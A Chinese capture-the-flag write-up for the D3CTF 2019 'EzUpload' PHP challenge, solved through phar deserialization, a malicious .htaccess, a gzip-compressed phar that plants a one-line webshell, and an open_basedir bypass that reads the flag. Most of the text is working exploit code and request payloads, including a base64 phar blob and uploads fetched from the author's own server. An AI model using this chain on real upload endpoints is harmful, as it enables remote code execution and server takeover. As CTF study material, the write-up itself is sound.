[D3CTF 2019]EzUpload
参考[D3CTF 2019]EzUpload(phar反序列化/.htaccess+phar关键字绕过) | (guokeya.github.io)
参考[D3CTF 2019]EzUpload - 简书 (jianshu.com)
参考2019 D3CTF ezupload题解_slug01sh的博客-CSDN博客
代码审计,很快发现htaccess,phar没有过滤,试图挖链子发现可以!
- phar
链子并转为phar
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //设置stub
$o = new dir();
$a = new dir();
$a->userdir='../';
$o->userdir=$a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
记住文件名upload/cc551ab005b2e60fbdc88de809b2c4b1
- htaccess
试图远程传输
action=upload&filename=.htaccess&url=http://8.129.42.140:3307/.htaccess
但是失败了
由于可以使用data协议,所以我们可以把
[root@iZwz9ck0io750jjxfvvlkqZ test]# cat .htaccess | base64
QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0Cgo=
然后用data协议进行文件包含
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
当然,考虑到没有禁用data协议,phar也可以直接 (但是我没有这么做)
action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==
我的做法是传到vps上面进行远程文件包含(python3 -m http.server 3307
)
先上传我们的phar文件(命名位1.jpg)
action=upload&filename=1.jpg&url=http://8.129.42.140:3307/1.jpg
再触发反序列化,查看绝对路径,为后面写马铺垫(为什么会预料到绝对路径不是/var/ww/html/upload,因为原题是有提示的),payload:
action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/1.jpg
由此得到了/var/www/html/和/upload/之间的路径
phar (组合起来得到下面的绝对路径,以你自己读到的为准)
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$a=new dir();
$a->filename='/var/www/html/4bac3882938ce191/upload/cc551ab005b2e60fbdc88de809b2c4b1/test';
$a->userdir='一句话木马';
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
上传
action=upload&filename=2.jpg&url=http://8.129.42.140:3307/2.jpg
触发phar反序列化
action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/2.jpg
但是我上传后马上被ban,仔细思考了一下,原来是<?
然后这里运用的是phar协议能够解压zip,gzip等等压缩包的性质,于是gzip压缩一下,gzip phar.phar
(据说zip压缩会寄)
之后再上传,触发序列化,然后访问{md5}/test.txt就可以看到明文写着的一句话木马(看上去是txt,但事实上有了htaccess已经可以解析了)
然后需要绕过openbasedir,直接给payload
1=ini_set('open_basedir'%2C%20'..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bini_set('open_basedir'%2C%20'%2F')%3Bvar_dump(file_get_contents('%2FF1aG_1s_H4r4'))%3B
由于此题每十分钟刷新一次目录(还有文件也会被删除),所以要拼手速。也可以用脚本2019 D3CTF ezupload题解_slug01sh的博客-CSDN博客
也有另一种做法,就是源码中__destruct有把文件名写入txt的操作,所以文件名可以直接是一句话木马(win下不支持这种操作,所以需要linux),这种思路类似于2020的国赛web